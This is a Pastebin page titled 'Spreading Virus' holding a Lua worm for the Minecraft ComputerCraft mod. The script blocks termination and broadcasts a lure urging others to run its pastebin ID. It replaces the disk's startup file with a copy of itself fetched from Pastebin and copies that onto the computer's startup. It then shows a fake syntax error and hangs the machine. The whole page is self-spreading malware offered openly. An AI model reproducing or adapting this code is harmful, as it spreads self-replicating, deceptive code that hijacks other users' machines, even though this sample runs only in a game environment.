Advertisement
SuperRavenSn1per

Spreading Virus

Jul 6th, 2018
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.57 KB | None | 0 0
  1. os.pullEvent = os.pullEventRaw
  2. term.clear()
  3. term.setCursorPos(1,1)
  4. rednet.broadcast("I found a really cool new Pastebin program, just type 'pastebin run ZtChe0xt'")
  5.  
  6. if fs.exists("disk") then
  7. if fs.exists("disk/startup") then
  8. fs.delete("disk/startup")
  9. shell.run("pastebin get ZtChe0xt disk/startup")
  10. else
  11. shell.run("pastebin get ZtChe0xt disk/startup")
  12. end
  13. if fs.exists("startup") then
  14. else
  15. fs.copy("disk/startup", "startup")
  16. end
  17. end
  18. term.clear()
  19. term.setTextColor(colors.red)
  20. term.setCursorPos(1,1)
  21. print("ZtChe0xt:25: 'then' expected")
  22. while true do
  23. sleep(1)
  24. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement